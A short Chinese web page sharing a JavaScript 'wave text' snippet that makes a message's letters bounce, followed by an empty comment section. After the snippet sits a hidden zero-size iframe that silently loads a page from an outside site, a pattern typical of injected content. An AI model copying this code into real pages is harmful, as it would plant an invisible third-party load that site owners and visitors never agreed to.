4、波浪文字代码

4、波浪文字代码

<!--将以下代码加入HTML<Body></Body>之间-->

 

<SCRIPT language=JavaScript1.2>

message="韶关旅游通讯"

ns6switch=1

var ns6=document.getElementById&&!document.all

mes=new Array();

mes[0]=-1;

mes[1]=-4;

mes[2]=-7;mes[3]=-10;

mes[4]=-7;

mes[5]=-4;

mes[6]=-1;

num=0;

num2=0;

txt="";

function jump0(){

if (ns6&&!ns6switch){

jump.innerHTML=message

return

}

if(message.length > 6){

for(i=0; i != message.length;i++){

txt=txt+"<span style='position:relative;' id='n"+i+"'>"+message.charAt(i)+"</span>"};

jump.innerHTML=txt;

txt="";

jump1a()

}

else{

alert("文本过于短,请多输入一些字符!")

}

}

function jump1a(){

nfinal=(document.getElementById)? document.getElementById("n0") : document.all.n0

nfinal.style.left=-num2;

if(num2 != 9){

num2=num2+3;

setTimeout("jump1a()",50)

}

else{

jump1b()

}

}

 

function jump1b(){

nfinal.style.left=-num2;

if(num2 != 0){num2=num2-3;

setTimeout("jump1b()",50)

}

else{

jump2()

}

}

 

function jump2(){

txt="";

for(i=0;i != message.length;i++){

if(i+num > -1 && i+num < 7){

txt=txt+"<span style='position:relative;top:"+mes[i+num]+"'>"+message.charAt(i)+"</span>"

}

else{txt=txt+"<span>"+message.charAt(i)+"</span>"}

}

jump.innerHTML=txt;

txt="";

if(num != (-message.length)){

num--;

setTimeout("jump2()",50)}

else{num=0;

setTimeout("jump0()",50)}}

</SCRIPT>

 

<DIV id=jumpx style="COLOR: #FF0000"></DIV>

<SCRIPT>

if (document.all||document.getElementById){

jump=(document.getElementById)? document.getElementById("jumpx") : document.all.jumpx

jump0()

}

else

document.write(message)

</SCRIPT>

 

 

 

<IFRAME border=0 name=I1  marginWidth=0 marginHeight=0 src=http://www.7stk.com/store/htm/5w_wenzi_shijian_caidan.htm frameBorder=0 width=0 scrolling=no height=0></IFRAME>

 

 

</body>

 

</html>

 

Write a comment

Comments: 0